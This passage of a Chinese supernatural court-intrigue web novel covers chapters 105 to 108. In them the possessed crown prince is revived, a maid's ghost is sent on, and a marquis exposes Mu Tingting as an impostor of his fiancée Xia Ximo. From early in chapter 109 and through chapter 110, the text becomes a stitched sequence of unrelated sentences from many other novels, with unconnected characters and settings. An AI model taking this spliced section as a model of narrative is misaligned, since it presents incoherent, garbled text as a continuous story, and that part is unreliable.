唐月琅诧然回头,却发现身后已空无一人。
她不由得大喊:“玲珑,你去哪儿了?”
无人应她。
她感到惊恐,连忙从秋千上跳下来,在园中寻找玲珑的身影。
然而,花影里,树影下,凉亭内,假山后,那些常去的地方,统统不见人影。
她再次大喊:“玲珑,你别躲了,我这次真不骗你了,这次换我来推你好不好?”
依然无人应她。
天幕忽然变得阴沉,乌云密布,电闪雷鸣。
唐月琅害怕极了,但她既找不到玲珑,也跑不出园子。
像是有什么东西困着她。
“玲珑,你别离开我!别把我一个人扔在这里!”
哭喊着醒过来,唐月琅却发现自己身处在承华殿内,身旁立着一个人,面容一时看不真切。
“玲珑?”
她下意识喊了一声。
对方慢慢转过身来,淡然说道:“玲珑已经走了。”
“走?”
唐月琅似是不懂她话中含意。
夏熙墨将那支宝蓝点翠珠钗递给她,“夺舍赵礼身体的恶鬼已除,她怨气散了,也该
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轮回转世去。”
唐月琅接到手中,指尖轻颤,一时之间,望着珠钗泪流不语。
这时,门外却传来通报声。
“娘娘,任小侯爷求见。”
唐月琅拭去眼泪,却道:“本宫不想见。”
她话音刚落,外面却传来任风玦的声音,“太子妃娘娘不想见太子,难道不想见‘书瑜’?”
“书瑜”为赵礼小字。
宫学时期,与她书信往来,落款总是这两个字。
唐月琅怔了怔,泪水又不由自主流淌了下来。
“我刚说了,恶鬼已除,想不想见,你自己定。”
一旁夏熙墨丢下一句后,便走出了承华殿。
她扫了任风玦一眼,却向王总管问道:“园子里跑出来的尸体现在何处?”
王总管虽不知她的用意,但对于她所说的话,亦是十分信任。
“正要运出东宫,找个地方安葬呢,姑娘可随我来。”
夏熙墨点了一下头,正要离去。
身后任风玦却忽然开口道:“一会儿忙完了,可以先回马车上休息。”
话显然是对她说的。
夏熙墨脚步微顿,淡淡应了一声。
望着她身影远去,任风玦才慢慢收回目光,却见唐月琅不知何时已出了寝殿。
她面容沉静,说了一句:“请小侯爷带路吧。”
咏清斋门前,依然**着许多内侍宫女。
他们不知室内情况,也不敢擅入,只能侯在门前听令。
而随着太子妃唐月琅的到来,众人面上皆有惊诧之意。
望着门上“咏清斋”三字,唐月琅微顿,表面看似并无波澜,但衣袖内的手指,却在不停颤抖着。
她已经很久没来过了。
进了室内,见到那书橱后的暗门,更是一惊。
“这?”
任风玦却做了一个请势:“太子殿下就在里面。”
暗道幽深,隐有风声,唐月琅心里多少有些害怕。
但想到“书瑜”,她还是鼓起了勇气,走了进去。
里面其实并不深,没过一会儿,就到了密室门前。
唐月琅又犹豫了一下,却听见身侧的任风玦说道:“我想,书瑜待你之心,一直如初,现下只有你,才能救他了。”
第105章 了结
为避免东宫慌乱,余琅在进咏清斋之前,就勒令了宫女内侍们禁止踏入。
后面又怕一身血水的太子吓坏太子妃,他还特意出去拿了一套干净衣物亲自替太子换上。
做完这一切,任风玦刚好领着唐月琅进了密室。
此时,赵礼正躺在室内床榻上,面容白中透着青,浑身上下散发着冷意,看起来无一丝生气。
唐月琅忽然不敢上前。
这些时日所发生的林林总总,令她对赵礼恨之入骨。
可就算如此,比起得知赵礼是因被恶鬼缠身,才性情大变,她更不愿听到对方死去的消息。
“太子妃。”
陌生的年轻道人朝她恭敬行了一礼,这才说道:“现下,太子魂魄就在旁边,虽然你看不见他,但只要你们心意相通,你所说的话,就能唤醒他生前回忆。”
唐月琅浑身一震,却有些不知所措。
身后任风玦忍不住开口道:“相信太子妃应该已经知晓,这将近一年来,占用太子身体的,其实为一只恶鬼。”
“真正的太子,被恶鬼所害,而今,只剩下一缕残魂。”
“太子妃,你们之间的情义,无论是从你表兄杜月明口中,抑或是在宫学时期,我都有目共睹。”
“时至今日,你们也该打开心结,重归于好了。”
唐月琅听到“重归于好”几个字,却泪水涟涟,说道:“不会再重归于好了,就算太子回来了,知道我所犯下的这些错事,他也不会原谅我…”
对于她口中所说的“错事”,任风玦当然有所耳闻。
但他面无异色,只就事论事:“若要这样论的话,太子在被恶鬼附身期间,所做的‘恶事’,也不能得到你的原谅?”
唐月琅反驳:“那并非他所愿…”
“你也一样。”
任风玦继续道:“恶鬼不但夺舍了太子的身体,还毁了你们之间的感情,你亦是受害者。”
“太子妃,请放下心中芥蒂,多想想往后的日子。”
自知言尽于此,他对一旁余琅使了一个眼色,两人随即退至密室之外。
余琅耳朵依然竖得老高,小声道:“大人,我还想看看太子是如何‘复活’的。”
任风玦却直接挡住他的视线:“有我们在,太子妃只怕不能敞开心怀。”
“好吧。”
室内,颜正初也悄悄后退了几步,并向唐月琅说道:“太子妃只需要上前握住太子殿下的手,与他多说说话。”
“最好多说一些,只有你们二人才知晓的事情。”
唐月琅低声抽泣着,慢慢走上前,半跪在塌边,将赵礼冰凉的右手,握入双掌之间,却未语泪先流。
“书瑜,其实我一直都有好多好多的话想跟你说…”
“玲珑不在了,我…只有你了。”
一旦开了口,所有的情绪便像是有了一个宣泄口,开始倾涌而出。
眼泪也似决堤之水。
颜正初才听了两个字,便也自觉挪到了密室外。
余琅见他走出来,忍不住调侃:“我还以为颜道长心如止水,原来也听不得这些‘伤心话’。”
颜正初哼哼:“我也算是个至情至性之人好吧?”
三人堵在门外,相视一笑。
室内,浮荡在尸身旁的魂魄,也因这一句句真挚的话语,慢慢显露出人形,正是眉眼温润的太子赵礼。
——
王总管将夏熙墨领到东宫一处偏僻院落前。
几名东宫侍卫正将一具具尸体抬放置棺材中,看样子,是要送去外面安葬了。
随着王总管到来,侍卫停下手中活,问道:“王总管可有吩咐?”
王总管反而望向夏熙墨,态度恭敬:“姑娘有何指示?”
夏熙墨却道:“我找一具尸体。”
听了她的话,侍卫们显然不解。
要知道,刚刚这些玩意儿从土里爬出来的时候,能将人吓个半死。
**那么久,居然还没腐烂,可想而知,有多么邪性了。
通常,换作别的差事,他们或许还能偷偷懒。
但这事,绝对刻不容缓。
“姑娘,这些尸体刚刚…”
“我知道。”
夏熙墨面无惧色,只道:“我处理完就走。”
侍卫们也不劝了,忙不迭退
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到一旁,却见这姑娘走到棺材边,挨个儿打开查看,倒令他们目瞪口呆。
尸体受“血阵”影响,几乎没有腐化。
所以,夏熙墨也很快在十几副棺材之中,找到了玲珑的尸身。
她微微俯身,正要以指点化尸骨时,渡魂灯内的玲珑忽然出声问道:“姑娘,若是小姐与太子重归于好,我去了阴司,怎样才能知晓?”
这问题让夏熙墨沉默了一下。
阴司与阳间是两个世界,去了之后,再无牵扯,互不干扰。
用阴司的话来说,阴魂不恋生前事,饮尽苦汤过奈何。
她也根本无法得知。
夏熙墨忽然看了一眼千秋园的方向,却道:“他们之间从未生过嫌隙,你应该比任何人都清楚。”
闻言,玲珑忽然笑了笑,应道:“是啊,没有生过嫌隙,谈何‘重归于好’?”
“他们只会,一直这么好…”
喃喃说完这句,总算安心上了路。
夏熙墨轻轻合上棺盖后,那些提心吊胆的东宫侍卫才敢走过来,见她没有别的吩咐,只想赶紧将这些尸体处理掉。
天开始下起了丝丝冷雨。
任风玦处理完太子之事从东宫出门后,已近戌时。
他来到车旁,还未上去,便透过车帘一角,瞥见靠在车壁上的夏熙墨,像是在熟睡。
于是,任大人直接拦住了身后的颜正初,说道:“颜道长还是坐余少卿的马车吧。”
余琅撑伞立在一旁,不解道:“可咱们不同路啊。”
任风玦却一本正经说道:“余少卿是不是还有公务要汇报?”
“…今日就报吗?”
余琅觉得不可思议,他还以为一会儿可以直接回去睡个好觉呢。
“嗯,时候尚早,报完再回。”
“……”
见颜正初上了余琅的马车后,任风玦才轻手轻脚上了自己的马车。
一旁替他撑伞的阿夏,可谓将这些细微举动分毫不差看进了眼里,不由得呆立原地。
直到听见一声轻咳,这才想起收伞驾车回府。
“车子赶慢些。”
“…是。”
第106章 侯府
四驾马车空间宽敞。
除去任风玦与夏熙墨,就算再多容纳两三人,也是绰绰有余的。
但任大人明显藏有私心。
他见夏熙墨靠在车壁上,微侧着头,随着车子驱动,悬挂在车前的风灯,也悄悄溜进一角,淡淡光晕,照得她面容恬静,令人不忍打扰。
因她旁边的车窗,露着一点缝隙,怕有冷风与雨丝灌入。
任风玦又轻轻起身,伸手正要将窗子关紧时,身侧之人却突然睁开了眼睛。
那一瞬间,整个车厢内都明显布满了肃杀之气。
不想她在睡着时,会有这样惊人的戒备心。
任大人动作停滞,“惊扰到你了…”
夏熙墨倒是不紧不慢地坐直了身体,面上明显有困倦之意。
忙完事情后,她本只想闭目养神片刻,没想到会在不知不觉中睡着。
“太子如何?”
夏熙墨开口问着,依然面色冷淡。
任风玦却知道,她能主动问出这话,已是稀奇。
“已经醒了。”
醒后的太子,对于这一年间所发生的事情,竟知晓得清清楚楚。
包括他是如何被慕容宸吞掉魂魄之事,也都清楚记得。
“这一年间,他相当于与慕容宸的魂魄共生,对其所做下的恶事,也是一清二楚,只是无法干预。”
“他说慕容宸开设赋楼,就是想从中找合适的人,来炼制‘阴阳煞’。”
“一年之间,倒是让他凑齐了这些阴邪之物,但始终少了一缕至阴之魂。”
“至于那白掌柜,身份确实诡秘,是她主动找上了慕容宸,还献给了他一颗‘养魂珠’。”
“白轻霜的来头一时不清楚,颜道长猜测,五十年前的事,大概与她有些关系…”
夏熙墨静静听着,没有插话。
任风玦看了她一眼,继续说道:“太子还说,他从慕容宸的记忆中,看见了赋楼那处阴墓…”
夏熙墨总算出声:“看到了什么?”
任风玦微顿,“我起初怀疑过,毁掉符咒,打开密室石门,放出慕容宸的,是白轻霜…”
“但太子说,是一位道人…”
“云鹤山?”
当时,赵礼说这番话时,颜正初也在场,听见符咒是被一个道人所毁时,他义正词严为云鹤山辩解了此事。
“云鹤山历来为道门正派,此事应该与之无关。”
因自家小叔的缘故,任风玦对于“道门正派”的印象,倒是根深蒂固。
夏熙墨却冷哼一声,“那符咒被毁得极其巧妙,应是懂得此咒关键所在的人。”
“若真是道人所为,只怕与云鹤山脱不了关系。”
听她这样分析,任风玦一时无言。
心想,还好颜正初不在,不然,少不了要在这里跟她争论一番。
思忖片刻,他道:“太子终究不清楚前因后果,此事只怕还不能下结论。”
闻言,夏熙墨掠了他一眼,却没继续搭话。
看样子,是既不想争论,也不想搭理此事。
忽而话题一转:“事情既已解决,你答应我的事,何时允诺?”
任风玦这才想到“解除婚约”之事。
也不知为何,此时再想起这事时,心中竟隐隐有些不情愿了…
但大丈夫一言九鼎,说到绝对是要做到的。
他不自然应道:“等赋楼一案彻底了结,必给姑娘一个交代。”
又花了一日时间,刑部联合大理寺才将赋楼一案有关死者身份,查了出来。
杜月明遣人送完名单后,本还半信半疑,待赋楼一案通告出来,他立即老实了,一连好些日子,夜里都不敢出门。
任风玦忙得脚不沾地,还得抽空去了一趟宫中,向皇帝汇报此事。
庆康帝自经历过工部尚书孟志远之事后,对于鬼神一说,倒也慢慢信服了。
而为避免圣上忧心,对于“阴阳煞”及前朝旧事,任风玦却卖了个关子。
只说,不日太子进宫后会全盘托出。
临夜,任风玦回到任宅,不想余琅也在,但这次,对方并不是来找他。
而是,找颜正初。
见二人在厅内神神秘秘,絮絮叨叨,他不由得轻咳一声,顿了一下足。
结果,两人起身招呼了一声,却不再说下去了。
显然想瞒着他。
任风玦不由得一笑,倒识趣自觉回了书房。
然而,他才刚坐下,任丛就满脸焦急进了书房来。
“公子,侯府…那边出事了。”
任风玦脸色一变,又站了起来,“什么事?”
任丛连忙道:“夫人前日从宫里回来,忽然病倒
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了…”
“张医师看了怎么说?”
“说是风寒之症,已施过针,吃过药了,但夫人情况古怪得很,还说一定要见您。”
侯夫人荣氏一向身体很好。
一年之中,别说什么风寒风热之症,就是头痛头晕也极少。
任风玦一听“情况古怪”,心下也担心,直接往外走去。
“备车,直接回侯府…”
见任大人才回了书房,又匆匆忙忙出了门。
正在厅内说话的颜正初与余琅,听见动静纷纷朝外看去。
“任大人这急匆匆又是去哪儿?”
一旁阿春回道:“是侯府来的消息,应该是侯爷传话了。”
余琅点头,忽想到仁宣侯府那位“夏熙墨”的事情还未解决,难道是急着要处理此事?
略一分神,他又把思绪拉回到自己“正事”上,继续向颜正初说道:“继续咱们刚刚说的…”
“嗯…”
“上回道长就是通过‘脚印’,找到了那吃‘生魂’的怪物行踪,这次可有把握?”
颜正初微微笑着,一副势在必得的样子。
“自然是极有把握,不然当时在赋楼见到‘血脚印’后,也不会先去东宫了。”
余琅一副恍然大悟的样子。
当时,通天阁内发现血脚印,他第一反应是——追!
颜正初并不着急,掐指一算后,却只说必须得去东宫一趟。
“当时不去追,是把它当鱼饵,毕竟这背后还有一个白掌柜。”
余琅眼睛都要亮了:“那现在可以追了吗?”
他想任大人处理完“家务”后回来,这事也有了结果,岂不是一举两得。
怎知颜正初却闭上眼睛,环臂不语了。
见他如此,余琅立即就明白了,当即伸出两根手指:“一锭金子。”
颜正初勉为其难睁开了一只眼睛:“两锭。”
“……”
余琅简直好气又好笑:“你一个道人,要那么多钱干什么?”
颜正初则一脸神秘:“自有用处。”
“行,那就两锭金子。”
“成交。”
和这些高门子弟打交道就是爽快。
两人正待出门去,却发现厅门外,不知何时立着一道人影。
“你们方才说,那吃‘生魂’的怪物没死?”
第107章 逼婚
任风玦一路马不停蹄回到了仁宣侯府。
下马车后,在赶往东苑的路上,一道身影从暗处上前,递来一物。
他顺手接过后,边走边问:“可查出那日穆铮送来的是什么东西?”
“问过了,是两个匣子,一个装着首饰,一个装着珠子。”
“珠子?”
任风玦脚下微顿,“自宫中回来后,可有异样?”
“并无,自宫中回来后,基本在房中,偶尔会去后苑湖边走走。”
任风玦挥手,“继续留察,不可松懈。”
身影悄然应声而去。
他一路入东苑,进正屋,却恰好撞见仁宣侯从里面出来。
任瑄面色古怪,看了儿子一眼,却又轻叹了口气,说道:“先进去看你母亲吧,多宽慰宽慰她,让她少为你的事操心!”
任风玦听他话里有话,只得先进了屋。
室内,只有一个嬷嬷及婢女容舒在床边伺药,但荣氏似乎并不配合。
听见脚步声,她从床上坐起身来,“风儿…”
任风玦快步上前,一把握住了荣氏的手,问道:“母亲,您觉得怎样?”
容舒见状,只得先将汤药放至一旁,跟着拿出一个软枕,垫在侯夫人后腰处。
荣氏看见儿子,面上露出欣慰的笑意,却道:“你可能回来了,娘亲有些话要跟你说。”
说着,她直接屏退了旁边的容舒和嬷嬷。
任风玦只觉得古怪,拿起汤药,舀了一口,送到荣氏嘴边:“母亲,您先把药喝了,有什么话,一会儿再说…”
荣氏却摇头:“你先答应娘亲一件事…”
听她这么说,任风玦心里简直跟明镜似的,反问她:“您该不会又要说我与夏小姐的婚事吧?”
“正是。”
荣氏也不拐弯抹角,直言道:“你也二十有一了,娘…想看了你成家再走。”
“走?”任风玦面色一沉,“母亲这是在说什么胡话?”
哪知荣氏却道:“娘没有说胡话,是…菩萨给我托梦,说要带我走…”
“真是越说越荒唐了!”
任风玦放下药碗,已然震怒。
荣氏一直在房中供奉菩萨。
她也向来虔诚,多年来一点荤腥不沾,还经常从自己私库中拿钱出来做善事。
可就算信奉菩萨,也不会愚昧到说出这样的话来。
任风玦心里起了疑,当即走出屏风外,将门外的容舒喊进来。
因他在侯府中鲜少动怒,此时沉着一张脸,让容舒看了都有些害怕。
“这两日,夫人到底经历了什么?”
容舒连忙跪在地上,一五一十将这几日的情况,都说了出来。
那日,荣氏携“夏小姐”进宫觐见皇后,想是在御花园内吹了风的缘故,回来后就病倒了。
请张医师前来问诊后,按照“风寒之症”,施了针,又用了药,倒也见了效。
但到了夜里,荣氏却一直噩梦缠身,醒后又发起了热。
反反复复,已经历了两日。
今早醒来,荣氏看似精神抖擞,甚至还与“夏小姐”在暖阁内用了朝食。
而后,回房后就不肯用药了,嘴上还一直喊着要见小侯爷。
听到这里,任风玦就知道不对劲了,他问道:“早膳期间,夏小姐可同夫人说了些什么?”
容舒道:“没有,夏小姐几乎没怎么开口,只说了让夫人多保重身体。”
“相反,一直都是夫人在说。”
“那夫人又说了什么?”
容舒看了一眼小侯爷的脸色,迟疑了一下,才小声道:“夫人对夏小姐说,希望你二人能早日成婚,最好早日生子育女,了却她一桩心愿…”
“……”
任风玦沉默了。
容舒也觉得尴尬,垂首小声道:“方才张医师又来过一次,说从脉象来看,确实只是‘风寒之症’,又劝了夫人几句。”
“结果他前脚刚走,夫人又不肯喝药了…”
听到这里,任风玦算是明白,母亲哪里是生病?
分明,是想借机逼婚。
“好了,我知道了。”
任风玦挥了挥手,隐隐头疼。
他回到里间,无奈看了荣氏一眼,说道:“母亲,方才容舒可是什么都跟我说了,您就算着急我的终身大事,也实在不该拿自己的身体开玩笑。”
他再次端起汤碗,试了一下药温:“来,您快先把药喝了…”
谁知,勺子才递过去,却被荣氏一把推开。
这一推,连着一碗汤药,直接撒
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在了地上。
“风儿,你到底肯不肯听我这一次?你要是不依?我…我死不瞑目!”
一番话,让任风玦再次震惊住,甚至都要怀疑自己的耳朵。
他的母亲,怎会说出这种话来?
一种不好的预感,从心底猛然升腾了起来。
环顾四周,只能先让自己冷静。
“母亲。”
任风玦将撒掉的空汤碗放到一旁,正色道:“并非儿子不听您的话,只是这件事,有些隐情,还未来得及当面跟您说…”
他正要往后说下去,门外却传来一道声音:“是小侯爷回来了吗?”
任风玦不禁皱眉。
他没应声,吩咐容舒先照顾好侯夫人,随后往外走去。
走到门口处,只见“夏熙墨”站在廊下,怯生生朝里面看了一眼,问道:“夫人她…可好些了?”
借着檐下灯火,任风玦深深打量了她一眼。
不知为何,比起初次见她的感觉,此时,好像又有些不一样了。
“夏小姐,借一步说话。”
他说着,便往旁边花厅内走去。
身后“夏熙墨”望着他的背影,却勾唇一笑,便施施然跟了上去。
进花厅后,任风玦让婢女关上门。
随后,他立在厅中,指右手边的座位,很是客气:“夏小姐请。”
“夏熙墨”也丝毫不扭捏,直接落了座。
任风玦微顿片刻,这才在她对面的位置,坐了下来。
说来也怪,两人相对而坐,目光碰在一起,谁也没有挪开。
互相都有探究之意。
任风玦心下又起了疑。
他将身体微微往后一靠,先且压下疑虑,淡然问了一句。
“听说前些天,穆侍郎来过府上。”
“夏熙墨”也回答得不见端倪。
“是来过,我与他,还在此处见过一面…”
“舅父说,小侯爷前些日子找过他,也不知所为何事?故而登门来见。”
任风玦微微笑着,看似随和,实则话里有话:“确实有件事情,想找他确认。”
“哦?”
“夏熙墨”故作惊讶:“不知是什么事?”
任风玦又看了她一眼,眸色也骤然变冷,吐出三个字:“穆汀汀。”
第108章 惊变
室内灯火迷离。
静默时,能清楚听见夜风摇着支窗。
任风玦按兵不动,观察着“夏熙墨”的神色。
“前些日子,我派人去了一趟西泠县,本意是想找找夏小姐口中所说的那位‘疯表姐’穆汀汀。”
“去时,穆府早已遣散仆人,只留下一个管家,一个门房,还有三两个老奴守着宅子。”
“一切确实如夏小姐口中所述,穆小姐犯了癔症,伤人后失踪了…”
对面的“夏熙墨”则静静听着,仿佛此事与自己并无关系,面上也不露一丝异色。
任风玦则继续说道:“于是,我的人便在穆府宅子里四下看了看,却意外发现,‘夏小姐’你所住的地方,竟然叫‘汀水暖阁’?”
“夏熙墨”顿住,嘴角却浮出笑意。
而后,她微微低下头去,再抬眸时,眼神却无故开始躲闪。
与前一秒的感觉相比,简直如同换一个人。
“汀水暖阁原是表姐的闺房,因我向来畏寒,所以…舅母才让我住在了那里。”
任风玦长眸半阖,将她这些细小变化收进眼里,又继续问:“所以,夏小姐喜欢针黹?”
听到“针黹”二字,“夏熙墨”又轻颤了一下,期期艾艾地答:“是…”
“我…身子不好,又不能常在外面走动,闲时…便只能在房中做做绣工。”
任风玦微微一笑:“那日你去杜国公府时,我曾去你房内看过,手艺确实精湛,足见是长年累月积攒而来的。”
“不过,这东西过于劳神伤眼,可能并不适合你…”
“记得几年前,我父亲曾说过,大亓第一女画师爱画如命。”
“在你还是襁褓中时,她常常秉烛达旦地作画,却将年幼的你,直接放在案台上,烛光照一夜,眼睛又哪里受得了?”
“以至于后来,她想让你学画时,却发现,你那眼睛若是盯着一样东西久了,便会眼花难受…”
这番话虽说得轻松,但“夏熙墨”听在耳里,却明显颤抖了一下。
她心虚道:“那么小的事情,我…又怎么会记得?”
任风玦浑不在意,又继续说道:“确实小了些,那再大一些总该记得?”
“自你住进穆府后,每隔一段时间,侯府都会往西泠县送上一批珍贵药材。”
“这些药材当中,有几味芳香药,自西域而来,十分稀缺,西泠县内绝不可得。”
“你可有印象?”
“夏熙墨”衣袖中的手指开始颤抖,连任风玦都能看得出,她此刻的慌张。
“每次都是府上嬷嬷煎的药,我对这些,并不太懂…”
“那就稀奇了。”
任风玦正色道:“每回可都是穆府送来采药单子,声称单子是将军府旧人所写,侯府这才照着单子去采买。”
他忽然提高声调:“夏小姐吃了那么久的药,又怎会不知?”
闻言,“夏熙墨”却猛然站起身来:“我确实不知!”
见她反应如此大,任风玦也慢慢站起身来,盯着她:“你不知,是因为——你根本就不是夏熙墨。”
“对吧,穆小姐?”
他从袖手中抽出一份誊抄而来的账目,面色愈发清寒。
“这是杏林堂专用来记载这味药材的账单,那一批批药材根本没用在夏熙墨身上,而是,被你们穆家直接拿到药铺转卖了。”
“你口中所说的——身患癔症之人,可不叫‘穆汀汀’,而是穆侍郎的侧夫人刘氏!”
“刘氏之所以患有癔症,是因为她儿子在七年前**,但你却说,那孩子是‘穆汀汀’所杀…”
听着他的话,穆汀汀立在原地久久没有应声,娇小的身躯,却不停哆嗦着。
她咬着下唇,垂下头去,像是在心里做着什么挣扎。
任风玦语气冰冷,又继续道:“你是觉得,你父亲以中书侍郎的身份,逼着西泠县衙压下范氏投狱自缢的真相,就能任由你信口编造吗?”
“范氏投狱前一天晚上发生的事情,不可能因为你们遣散了所有下人,就能隐瞒!”
“你与你母亲这些年对夏熙墨所做的事,你父亲穆铮早在两日前,就已承认!”
“穆汀汀,你假借她人身份,欺瞒侯府,事到如今,还要狡
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辩吗?!”
穆汀汀忽然攥紧手指,再抬起头来,面上竟淌着诡异的笑意。
她冷冷挑衅着:“小侯爷这番推论,还真是叫人害怕!”
任风玦亦敏锐觉察到,前后不过一霎,此人身上的感觉…又变了!
“说了那么多,该不会是要去夫人与侯爷面前戳穿我吧?”
穆汀汀语气不屑,甚至轻轻摇晃着腰肢,朝他近前了两步。
“我只是想说,关于这‘夏熙墨’的身份,小侯爷实在不必较真,你要是见了真正的夏熙墨,可未必会喜欢。”
“既然,侯夫人认我,整个侯府也认我,乃至整个京城都认我,你便当我是她,又如何?”
任风玦听她不但没有悔改之意,而且还将此事说得如此理所当然,心下一阵恶寒。
“你该不会觉得,我母亲知道此事后,还会认你,护你!”
“别再痴情妄想,侯府绝不可能有你的容身之地!”
“小侯爷不要把话说得太早。”穆汀汀依然笑得有恃无恐,“我知道小侯爷必然极其厌恶我。”
“甚至,恨不得将我关进刑部大牢,轮番用刑,为你那真正的未婚妻出一口恶气…”
“但小侯爷向来心思缜密,不是鲁莽之人,今晚突然被召回侯府,难道,就没有发觉有什么不对劲?”
任风玦当即心下一凛。
如同被人当头敲了一棒!
难道…
他一下子就失去了判断,当即打开房门往外而去,却差点与前来通报的容舒撞个正着。
“母亲怎么了?”任风玦下意识问。
容舒却吃了一惊,“夫人…刚刚睡下了。”
又道:“奴婢来,是想告知公子,余少卿突然上门来,说有要事跟您商量。”
任风玦犹不放心自己的母亲,还是亲自去看了一眼,见荣氏躺在床上并无异样,才稍稍松了口气。
他不敢松懈,转头厉色吩咐:“即刻起,你们须得寸步不离看着夫人,那位‘夏小姐’,不得让她靠近!”
“另外,喊两个嬷嬷,把她送去北苑,暂且关起来,任何人不得见!”
第一卷 第109章 寻鬼
余琅一听夏熙墨也要同行,多少有些惊讶。
他细细一想,这事尚未告知任大人,且还有几分凶险。
若再发生赋楼那样的情况,自己恐怕要吃不了兜着走。
“夏姑娘,颜道长也说了,这赋楼‘鬼物’可非比寻常…”
等出了游廊,见一众人都愁眉不展没个法子,一直默默跟在后面的贾环却动起了脑筋。
鹊说着想摸摸她的头,可是一想到身边的铃音就硬生生停住了抬起的手。
在场所有人都相信了他的说辞——那样真情实感的悔恨与悲伤,是无法伪装的——除非他是戏精本精。
哈利听见许多金属撞击的响亮声音,以及像链条发出的哗啦哗啦声。门吱吱呀呀地打开了。
湘云面色惨白的坐在椅子上,往日明亮的大眼睛失去了色彩,嘴唇微微颤抖着。
“把那不守规矩之人给我叫来,我要问话!你把登记窗口分成六组,不然天黑之前可就登记不完了。”楼将军说道。
无数人震惊失神,眼睁睁看着这场兵连祸结,一些世家强者固然可以出手,影响朝局,但是他们向来是明哲保身,根本不插手皇权,天下谁来做主跟自己没有半点干系,何必要趟这一番浑水?
白金乌学着梁先生的样子举起了双手,只见那位士兵大哥把他身上从头搜个遍。白金乌十分的不适应,一个大男人摸他,他觉得恶心。要是苏仙茉、红移公主、蓝移姑娘,甚至是花貂姑娘这么的搜他,他反而会觉得好点。
林富贵无语凝噎,凝望苍天,仿佛想要求得什么解释,可是天空一片深黑,他注定什么也求不到。
“你们在一起过吗?”皇后娘娘问道,心想:他比你大十岁,还是你的老师,不用问又是一对苦命的鸳鸯。就从年龄上看,就不会有好的结果。因为我和皇上也是差了十岁,就是一个活生生的例子。
苏晨等人定睛一看顿时倒吸了一口凉气,金焱圣鹤乃是武宗级别的妖兽,在无极大陆算得上是最强大的一类了。
据说绿木城在上古时期便已经存在了,而那时候该城还是木灵族的聚集地,整个城池均是用树木打造,放眼望去郁郁葱葱煞是好看。
看见我的黑色灵气,王磊似乎并没有丝毫诧异,相反,好像一切都在他的预料之中一样。
万千残尸被整理摆放整齐,由专门负责收集的尸族下级战士搬运,不消半天,这阖城上下数十万的夜精灵尸体就被清理一空。
三阶丧尸的脚步声在慢慢的靠近,为了不融化楼板,这头三阶丧尸在行走的时候,特意将自己双脚的温度降低到正常的温度,否则他早就因为楼板的融化而直接掉到一楼去了,它确实不愧是一头聪明的丧尸。
秀鼻微哼,丫头气愤的放下被自己咬了一半的苹果,转身又趴在床上往外面看去。
徐晃看着曹操骑在马上,已经静静的看着东方久久没有言语,而天黑马不好走,便开口提醒道。
“这……”野狼王困惑不解,疑惑的看着朱雀天尊,不明白对方为何会将这南方尊者的大印给他?
“那个……梦雅云你还能跑吗?”苏晨一看这么下去不是办法连忙问道,梦雅云心有余悸的看了看窗外点了点头。
第一卷 第110章 前奏
它们希望我们联手对抗,于是暂借我们的躯体。不知道为什么没有借用我的身体。
此时想要解救困在天狱中的人族,已经不太可能。就算真的解决了天狱的问题,能救出多少人出来也未可知。倒不如直接舍弃他们,与魔族展开决战。
“木头哥,你这么看着我干嘛,欣欣可是等着你推倒呢!”罗烟儿娇笑一声道。
可是,在旁人看来,他头上的幽绿色火焰,并未伤及他的皮肤,仍旧完好无损。
没一会,外面就响起石姓兄弟的声音,他们大声的叫着鱼仙子,同时狼啸天的声音也响起,让他们不要吵,再吵就不客气了。
才五点半的样子,太阳就已经已经落入云层之中,只有最后一圈光晕,泛着一抹红色。
于是乎,无锋上座便将计就计,召集十三国同盟的强者,一举歼灭大半武林盟的核心战力。
如今这种骇然的情景若也是这样,刚才莫凡召唤出来的大家伙得是多强的攻击力?若不是在这天狱中,而是在其他正常的地方,又该是什么威力?
无尽海里面的凶兽根本就不敢有任何的动静。都乖乖地潜伏在海底。甚至害怕上面飞过去的夜紫菡会突然出手对付他们。连气息都刻意的压制着。
君羽面目狰狞无比,强大的力量灌注在手臂之中,而后带起呼啸的劲风,狠狠的砸在碧琉儿的粉背之上。
譬如一对互相暗恋的恋人,彼此互通心意,但如果两人一天不正式表白,那就没有安全感一天。
楚修扭头瞟了她一眼,留给她一个骄傲的背影,晃晃悠悠的回了影厅。
即使是目力极佳,白云飞向上看去,依旧是看不到这天梯的尽头。
一股寒意袭上心头,张驰和陈博雯并非没有使用过本体啪啪啪,但是说如果再让张驰找一个,他万分不愿意。
“狂妄至极,总归不是什么好处。”闻言,上官云倒也是缓缓点头,而后是淡笑着说道。
但主要呼声集中在柳若曦身上,毕竟要论状态的保持,众人都理所当然的觉得,是柳若曦更好。
方裕听到这话,微微一怔,随即说道:“你等会儿。”说着,便拿出手机出去了。
“喝!”虚言眼中闪过一阵恼怒,从嘴中吐出一口黑血,猛地马步一踏,上半身的衣衫瞬间爆开,露出一身精壮的肌肉,随着一阵奇怪的吐纳方式,他微微凹陷发紫的左胸口慢慢痊愈,恢复成正常的模样。
“夜如沁!你真的疯了!”龙孔雀雷霆大怒,直呼其名,大吼的声音中带上了几分兽性,身上生出红色的鳞片,一对龙爪朝夜如沁身上拍去。
说完话一会儿,毒羽从自己的回忆里面走出来,听了他的话,凤如凰才知道这么半天他都在想什么。虽然那毒羽的表情没有什么变化,但是她能从他的身上感觉到一种地狱的气息,嗜血的杀戮。
考场上的字讲究是的清晰工整,让人看起来不至于出错。你搞这么多花头做甚?
夏紫萱看着摇椅上已经睡熟的凤如凰,也坐在一边,脑海里面想的是她要离开的前一天,白云浩和她在一起的事情。
夜色如墨,百里王朝各个宫廷内却是不断的有火把在攒动,皇宫内也是异常的嘈杂,隐约的从不断的怒吼声中听出,他们是在搜寻着某位公主。
大舅妈的葬礼进行了两天,下葬那天刚好是清明节,同时这天也是我的生日,但这生日就不过了。大舅妈虽然已下葬,但这个事还没算完,在她头七那天,我要让她和大舅对话,把一些事交待一番。
柳言话音刚落下,胸口就挨了一掌,他狂吐一口鲜血跌落在地上失去了意识。
许多天材地宝,在服用了之后,说不懂可以增加寿命,那种级别的天材地宝,服用之后,增加的寿命,也不知有多少的,简直可以达到数百年的,这种天材地宝也不是没有的。
她知道自己不该,华云旭的话历历在耳,可她和他越相处就越是控制不住。
徐老师嘱咐的最近村里不太平,指的应该就是这个东西吧!光听脚步声就够吓人了。当然这是针对普通人来说,光脚步声它可吓不到我,倒要看看它到底是哪路神仙。
